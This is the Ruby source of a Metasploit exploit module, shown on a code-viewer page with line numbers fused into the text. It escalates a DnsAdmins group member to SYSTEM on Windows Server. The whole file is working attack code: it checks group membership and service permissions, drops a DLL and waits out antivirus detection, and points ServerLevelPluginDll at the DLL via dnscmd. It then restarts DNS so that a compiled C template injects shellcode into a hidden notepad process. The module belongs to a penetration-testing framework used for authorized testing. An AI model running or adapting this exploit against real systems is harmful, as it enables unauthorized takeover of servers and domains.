Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/compiler/windows'67class MetasploitModule < Msf::Exploit::Local8Rank = NormalRanking910include Msf::Post::File11include Msf::Post::Windows::Priv12include Msf::Post::Windows::Services13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',20'Description' => %q{21This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the22`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`23named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service24will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended25when using a UNC path.2627Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,28the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and29users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus30after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the31`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,32which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for33this module for advice on how to resolve this issue should it occur.3435This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows36Server version up to and including Windows Server 2019.37},38'References' => [39['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],40['URL', 'https://adsecurity.org/?p=4064'],41['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']42],43'DisclosureDate' => '2017-05-08',44'License' => MSF_LICENSE,45'Author' => [46'Shay Ber', # vulnerability discovery47'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module48],49'Platform' => 'win',50'Targets' => [[ 'Automatic', {} ]],51'SessionTypes' => [ 'meterpreter' ],52'DefaultOptions' => {53'WfsDelay' => 20,54'EXITFUNC' => 'thread'55},56'Notes' => {57'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an58# non-optimal time or if the UNC path is typed in wrong.59'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],60'Reliability' => [REPEATABLE_SESSION]61},62'Compat' => {63'Meterpreter' => {64'Commands' => %w[65stdapi_fs_delete_file66stdapi_sys_config_getsid67stdapi_sys_config_getuid68]69}70}71)72)7374register_options(75[76OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),77OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),78OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),79OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])80]81)8283deregister_options('FILE_CONTENTS')84end8586def check87version = get_version_info88if version.windows_server?89vprint_good('OS seems vulnerable.')90else91vprint_error('OS is not vulnerable!')92return Exploit::CheckCode::Safe93end9495username = client.sys.config.getuid96user_sid = client.sys.config.getsid97hostname = sysinfo['Computer']98vprint_status("Running check against #{hostname} as user #{username}...")99100srv_info = service_info('DNS')101if srv_info.nil?102vprint_error('Unable to enumerate the DNS service!')103return Exploit::CheckCode::Unknown104end105106if srv_info && srv_info[:display].empty?107vprint_error('The DNS service does not exist on this host!')108return Exploit::CheckCode::Safe109end110111# for use during permission check112if srv_info[:dacl].nil?113vprint_error('Unable to determine permissions on the DNS service!')114return Exploit::CheckCode::Unknown115end116dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)117118vprint_good("DNS service found on #{hostname}.")119120# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll121group_membership = get_whoami122unless group_membership123vprint_error('Unable to enumerate group membership!')124return Exploit::CheckCode::Unknown125end126127unless group_membership.include? 'DnsAdmins'128vprint_error("User #{username} is not part of the DnsAdmins group!")129return Exploit::CheckCode::Safe130end131132# find the DnsAdmins group SID133dnsadmin_sid = ''134group_membership.each_line do |line|135unless line.include? 'DnsAdmins'136next137end138139vprint_good("User #{username} is part of the DnsAdmins group.")140line.split.each do |item|141unless item.include? 'S-'142next143end144145vprint_status("DnsAdmins SID is #{item}")146dnsadmin_sid = item147break148end149break150end151152# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service153if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }154dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]155if dnsadmin_dacl.include? 'RPWP'156vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')157end158elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }159user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]160if user_dacl.include? 'RPWP'161vprint_good("User #{username} can start/stop the DNS service.")162end163else164vprint_error("User #{username} does not have permissions to start/stop the DNS service!")165return Exploit::CheckCode::Safe166end167168Exploit::CheckCode::Vulnerable169end170171def exploit172# get system architecture173arch = sysinfo['Architecture']174if arch != payload_instance.arch.first175fail_with(Failure::BadConfig, 'Wrong payload architecture!')176end177178# no exploit, just create the DLL179if datastore['MAKEDLL'] == true180# copypasta from lib/msf/core/exploit/fileformat.rb181# writes the generated DLL to ~/.msf4/local/182dllname = datastore['DLLNAME']183full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)184print_good("#{dllname} stored at #{full_path}")185return186end187188# will exploit189if is_system?190fail_with(Failure::BadConfig, 'Session is already elevated!')191end192193unless [CheckCode::Vulnerable].include? check194fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')195end196197# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll198print_status('Checking service state...')199svc_state = service_status('DNS')200unless svc_state[:state] == 4201print_status('DNS service is stopped, starting it...')202service_start('DNS')203end204205# the service must be started before proceeding206total_wait_time = 0207loop do208svc_state = service_status('DNS')209if svc_state[:state] == 4210sleep 1211break212else213sleep 2214total_wait_time += 2215fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90216end217end218219# the if block assumes several things:220# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet221# 2. operator has generated their own DLL with the correct payload and architecture222# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or223# the target falls back to SMB1224dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip225if datastore['DLLPATH'].start_with?('\\\\')226227# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.228build_num_raw = session.shell_command_token('cmd.exe /c ver')229build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)230if build_num.nil?231print_error("Couldn't retrieve the target's build number!")232return233else234build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]235vprint_status("Target's build number: #{build_num}")236end237238build_num_gemversion = Rex::Version.new(build_num)239240# If the target is running Windows 10 or Windows Server versions with a241# build number of 16299 or later, aka v1709 or later, then we need to check242# if "Enable insecure guest logons" is enabled on the target system as per243# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser244if (build_num_gemversion >= Rex::Version.new('10.0.16299.0'))245# check if "Enable insecure guest logons" is enabled on the target system246allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')247unless allow_insecure_guest_auth == 1248fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")249end250end251print_status('Using user-provided UNC path.')252else253write_file(dllpath, make_serverlevelplugindll(arch))254print_good("Wrote DLL to #{dllpath}!")255print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")256sleep(datastore['AVTIMEOUT'])257unless file_exist?(dllpath.to_s)258print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')259return260end261print_good("Looks like our file wasn't caught by the AV.")262end263264print_warning('Entering danger section...')265266print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")267dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip268unless dnscmd_result.include? 'success'269fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])270end271272print_good(dnscmd_result.split("\n")[0])273274# restart the DNS service275print_status('Restarting the DNS service...')276restart_service277end278279def on_new_session(session)280if datastore['DLLPATH'].start_with?('\\\\')281return282else283if session.type == ('meterpreter') && !session.ext.aliases.include?('stdapi')284session.core.use('stdapi')285end286287vprint_status('Erasing ServerLevelPluginDll registry value...')288cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")289print_good('Exited danger zone successfully!')290291dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip292restart_service('session' => session, 'dllpath' => dllpath)293end294end295296def restart_service(opts = {})297# for deleting the DLL298if opts['session'] && opts['dllpath']299session = opts['session']300dllpath = opts['dllpath']301end302303service_stop('DNS')304# see if the service has really been stopped305total_wait_time = 0306loop do307svc_state = service_status('DNS')308if svc_state[:state] == 1309sleep 1310break311else312sleep 2313total_wait_time += 2314fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90315end316end317318# clean up the dropped DLL319if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')320vprint_status("Removing #{dllpath}...")321session.fs.file.rm dllpath322end323324service_start('DNS')325# see if the service has really been started326total_wait_time = 0327loop do328svc_state = service_status('DNS')329if svc_state[:state] == 4330sleep 1331break332else333sleep 2334total_wait_time += 2335fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90336end337end338end339340def make_serverlevelplugindll(arch)341# generate the payload342payload = generate_payload343# the C template for the ServerLevelPluginDll DLL344c_template = %|345#include <Windows.h>346#include <stdlib.h>347#include <String.h>348349BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {350switch (dwReason) {351case DLL_PROCESS_ATTACH:352case DLL_THREAD_ATTACH:353case DLL_THREAD_DETACH:354case DLL_PROCESS_DETACH:355break;356}357358return TRUE;359}360361int DnsPluginCleanup __attribute__((export))(void) { return 0; }362int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }363int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {364STARTUPINFO startup_info;365PROCESS_INFORMATION process_info;366char throwaway_buffer[8];367368ZeroMemory(&startup_info, sizeof(startup_info));369startup_info.cb = sizeof(STARTUPINFO);370startup_info.dwFlags = STARTF_USESHOWWINDOW;371startup_info.wShowWindow = 0;372373if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {374HANDLE processHandle;375HANDLE remoteThread;376PVOID remoteBuffer;377378unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";379380processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);381remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);382WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);383remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);384385CloseHandle(process_info.hThread);386CloseHandle(processHandle);387}388389return 0;390}391|392393c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)394395cpu = nil396case arch397when 'x86'398cpu = Metasm::Ia32.new399when 'x64'400cpu = Metasm::X86_64.new401else402fail_with(Failure::NoTarget, 'Target arch is not compatible')403end404405print_status('Building DLL...')406Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)407end408end409410411